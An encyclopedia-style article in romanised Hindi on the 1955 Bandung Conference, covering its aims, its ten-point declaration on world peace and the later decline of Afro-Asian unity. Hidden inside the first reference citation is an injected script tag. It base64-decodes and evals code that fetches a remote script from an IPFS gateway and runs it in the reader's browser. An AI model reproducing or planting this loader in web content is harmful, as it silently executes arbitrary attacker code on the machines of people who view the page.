बांडुंग सम्मेलन
baanduang sammelan san 1955 mean indoneshiya mean ayojit hua tha. 18-24 aprail, 1955 mean indoneshiya, myaanmar (barma), silon (shrilanka), bharat v pakistan dvara baanduang (indoneshiya) mean eshiyaee aur afriki deshoan ki ek baithak ayojit ki gee, isi ko 'baanduang sammelan' kaha gaya. kul milakar vishv ki adhi se adhik janasankhya ka pratinidhitv karane vale 29 deshoan ne isamean apane pratinidhitv bheje.[1]
uddeshy
is sammelan ne pashchimi shaktiyoan dvara eshiya ko prabhavit karane vale nirnayoan par prayojak deshoan dvara unaki ray lene; chini janavadi ganarajy aur amerika ke bich tanav par unaki chiantaoan; chin ke svayan unase v pashchim se shaantipoorn sanbandhoan ki aur sudridh nianv rakhane ki unaki ichchha; upaniveshavad ke prati unake virodh, vishashekar uttari afrika mean fraansisi hastakshep aur iandoneshiya ke pashchimi nyoo gini (eeriyaee jaya) par nidaralaiand se apane matabhedoan par apana tark prastut karane ki ichchha ko pratidhvanit kiya gaya.
vishv shaanti aur sahayog ke protsahan hetu ghoshana patr
pramukh vad-vivad is prashn par keandrit raha ki kya poorvi yoorop aur madhy yoorop mean soviyat nitiyoan ki pashchimi upaniveshavad ke sath hi nianda ki jani chahie? ek am sahamati bani, jisamean sabhi prakar ke upaniveshavad ki nianda ki gee aur soviyat sangh v sath hi pashchim ki k di nianda ki gee. chin ke pradhanamantri chaoo en laee ne ek udar aur samajhautavadi rukh apanaya. jisane samyavad virodhi kuchh pratinidhiyoan ke chin ke iradoan ke prati dar ka samadhan kiya. 10 bianduoan ka 'vishv shaanti aur sahayog ke protsahan hetu ghoshana patr', jisamean sanyukt rashtr ghoshanapatr ke siddhaant v bharat ke pradhanamantri javaharalal neharoo ke paanch siddhaant shamil kie ge the, sarvasammati se parit kiya gaya.[1]
agale dashak ke dauran jaise-jaise upanivesh azad hue aur sammelan ke sadasyoan ke bich manamutav badhe, eshiyaee-afriki ekata ki avadharana ki arthavatta mean kami ati gee. prarambhik sammelan ke prayojakoan ke bich b de matabhed ubhar aye. pahale 1961 v phir 1964-1965 mean, jab chin aur indoneshiya ne doosare eshiyaee-afriki sammelan ki maang par jor diya. donoan bar bharat ne yoogoslaviya aur sanyukt arab ganarajy (misr) ke sath gutanirapeksh deshoan ke samanaantar sammelan ayojit karane mean saphalata paee, jinhoanne chin aur 1964-65 mean indoneshiya dvara prastavit kathor pashchim virodhi drishtikon apanane se iankar kar diya. navambar, 1965 mean doosara eshiyaee-afriki sammelan[2] anishchitakal ke lie age badha diya gaya aur yah asambhav pratit hone laga ki baanduang sammelan ka kabhi koee parivarti sammelan hoga.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 bharat jnanakosh, khand-3 |lekhak: iandu ramachandani |prakashak: eansaiklopidiya britainika praivet limited, nee dilli aur p aaupyular prakashan, mumbee |sankalan: bharatakosh pustakalay |prishth sankhya: 361 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ jo aljiyars, aljiriya mean ayojit kiya jana tha.
sanbandhit lekh